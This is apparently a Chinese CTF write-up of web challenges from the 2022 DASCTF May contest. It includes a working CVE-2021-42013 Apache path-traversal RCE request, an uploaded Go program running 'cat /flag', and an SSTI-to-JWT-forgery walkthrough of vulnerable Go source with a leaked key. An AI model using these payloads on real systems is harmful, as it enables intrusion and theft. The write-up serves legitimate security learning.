2022DASCTF MAY 出题人挑战赛,比赛的时候忘记了,赛后复盘一下web题目
Power Cookie
bp抓包看一下
加个cookie: admin=1,得到flag
DASCTF{ad221339-14b2-4a5e-9d23-e2a0aaefbb2c}
魔法浏览器
"\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"; console["\x6c\x6f\x67"](ua);
Unicode-str解码后得到
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
DASCTF{7b6f6dfb-4d9d-40ff-8ae5-d696c93302c3}
getme
CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞
抓包然后
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
echo;cat /diajgk/djflgak/qweqr/eigopl/fffffflalllallalagggggggggg
DASCTF{6e919d79-7742-4e38-a323-6b02d2041055}
hackme
一些go文件,点了会有回显,可以上传go文件,写一个命令执行
package main
import (
"fmt"
"os/exec"
)
func reverseshell() {
out, _ := exec.Command("cat", "/flag").Output()
output := string(out[:])
fmt.Println(output)
}
func main() {
reverseshell()
}
然后上传,访问usres,得到flag
DASCTF{b5ce4552-3855-4243-81c4-3f4a14b8f18f}
fxxkgo
这道题是基于go语言的
代码审计
ssti
jwt伪造
题目源码如下
package main
import (
"encoding/json"
"fmt"
"github.com/gin-gonic/gin"
"github.com/golang-jwt/jwt"
"os"
"text/template"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func clear_account() {
acc = acc[:1]
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
func flagHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
} else {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
}
}
func authHandler(c *gin.Context) {
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
func Resist(c *gin.Context){
uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
c.JSON(403, gin.H{
"code": 403,
"status": "error",
})
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
c.JSON(200, string(res))
return
}
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
r := gin.Default()
r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)
r.Run(":80")
}
通过看main函数得知存在五个路由
总的来说就是五个路由都走一遍就可以得到flag,这里系统分析一下这几个路由的作用,也算学习一下了
func index(c *gin.Context) {
c.JSON(200,gin.H{
"msg": "Hello World",
})
}
这个是get请求的根目录
func rootHandler(c *gin.Context) {
token := c.GetHeader("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(c.Writer, &acc)
return
} else {
return
}
}
这个是post请求实现的功能
tpl, err := template.New("").Parse("Logged in as " + acc.id)
而这句话存在ssti漏洞
剩下几个路由看看就行了,毕竟已经找到了漏洞,
根据分析register是用来创建用户id和pw的,存入已经定义好的结构体中
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
所以首先先注册一下
这个时候再用auth查看下路由,可以看到得到了一个jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imh1YW5nIiwiaXNfYWRtaW4iOmZhbHNlfQ.1pxpRWSXDJi2wGLiYJVUT4WqVYZfDX8iIFyauR4qVnM
现在需要做的就是搞到密钥将jwt换上
可以看到我注册的账号,利用这个账号进行ssti注入,利用**{ {.}}**即查看所有内容,最后可以查到密匙
再注册一个号
一样的思路步骤
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.1c8I_PzGiyonSZe3UPM2AB94x07g6DeyJW6uYA2C7eo
fasdf972u1041xu90zm10Av
然后jwt身份伪造
将伪造的jwt写进去,得到flag